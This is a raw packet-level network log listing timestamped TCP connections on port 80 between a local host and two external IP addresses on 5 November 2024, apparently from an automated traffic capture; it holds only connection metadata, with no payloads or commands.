Nov 5, 2024 12:43:37.598978996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.598984003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.598994017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599004030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599004984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.599020958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.599045038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.599073887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599086046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599095106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599102974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599128008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.599142075 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.599159956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599172115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599180937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599190950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599200964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599204063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.599210024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599221945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.599241018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.599261999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599272966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599282026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.599303961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.599323988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.638194084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.638210058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.638222933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.638235092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.638282061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.638320923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.638320923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.638360023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.638382912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.638417959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.643088102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.643100023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.643111944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.643135071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.643157005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680316925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680329084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680341005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680356026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680373907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680387020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680387020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680403948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680416107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680428028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680435896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680454969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680460930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680469036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680473089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680491924 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680502892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680504084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680521965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680535078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680542946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680551052 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680567026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680578947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680596113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680604935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680610895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680710077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680716038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680748940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680784941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680799007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680815935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680826902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680830956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680850983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680874109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.680973053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.680994987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681005001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681009054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681025982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681044102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681227922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681251049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681261063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681266069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681286097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681294918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681349993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681363106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681375980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681391001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681406021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681415081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681421041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681435108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681435108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681452036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681458950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681463957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681471109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681485891 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681498051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681499958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681535959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681624889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681638002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681648016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681660891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681670904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681674004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681690931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681705952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681843042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681854010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681860924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681886911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681910038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681921959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681932926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681946039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681960106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681979895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.681983948 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.681993008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682005882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682015896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682019949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682025909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682034969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682044029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682058096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682070971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682142019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682154894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682164907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682183027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682204962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682252884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682262897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682265043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682267904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682275057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682281017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682301998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682322979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682357073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682378054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682389975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682406902 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682421923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682492018 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682504892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682517052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682538033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682559967 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682568073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682580948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682586908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682631016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682667017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682677984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682689905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682718992 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682733059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682784081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682795048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682815075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682822943 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682826996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682836056 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682838917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682852030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682852983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682866096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682866096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682878971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682895899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682909966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682919979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682919979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682930946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682940960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682950020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682969093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682982922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.682991982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.682996035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683007956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683011055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683023930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683024883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683036089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683057070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683216095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683227062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683248997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683255911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683259964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683274984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683278084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683289051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683304071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683330059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683346033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683360100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683371067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683382034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683388948 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683393955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683407068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683412075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683423996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683429956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683435917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683484077 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683525085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683538914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683551073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683563948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683571100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683578014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683585882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683597088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683609009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683613062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683621883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683634996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683657885 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683721066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683733940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683744907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683758020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683764935 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683772087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683784008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683808088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683811903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683820963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683834076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683845043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683849096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683859110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683876038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683880091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683891058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.683897972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683926105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.683995008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684006929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684019089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684031010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684041023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684043884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684052944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684056997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684070110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684079885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684082985 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684094906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684107065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684108019 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684122086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684123039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684154034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684168100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684182882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684195042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684205055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684220076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684226036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684232950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684246063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684272051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684328079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684340954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684351921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684364080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684370995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684385061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684393883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684397936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684412003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684418917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684426069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684444904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684468031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684546947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684587955 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684602022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684613943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684628010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684639931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684643984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684667110 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684686899 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684714079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684725046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684734106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.684756041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.684772968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.695734024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.700601101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.187823057 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.192905903 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.192998886 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.193197966 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.193242073 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.198333025 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.198354959 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.198414087 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.198424101 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.198435068 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.198436975 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.198465109 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.198471069 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.198488951 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.198538065 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.198553085 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.198563099 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.198579073 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.198591948 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.198611975 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:38.198626041 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.198760033 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.203469038 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.203480959 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.203538895 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.203548908 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.203558922 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.203640938 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.204026937 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:38.205432892 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:41.431889057 CET	80	49710	185.244.144.68	192.168.2.8
Nov 5, 2024 12:43:41.431998968 CET	49710	80	192.168.2.8	185.244.144.68
Nov 5, 2024 12:43:41.761744976 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:41.761842012 CET	49712	80	192.168.2.8	188.114.96.3
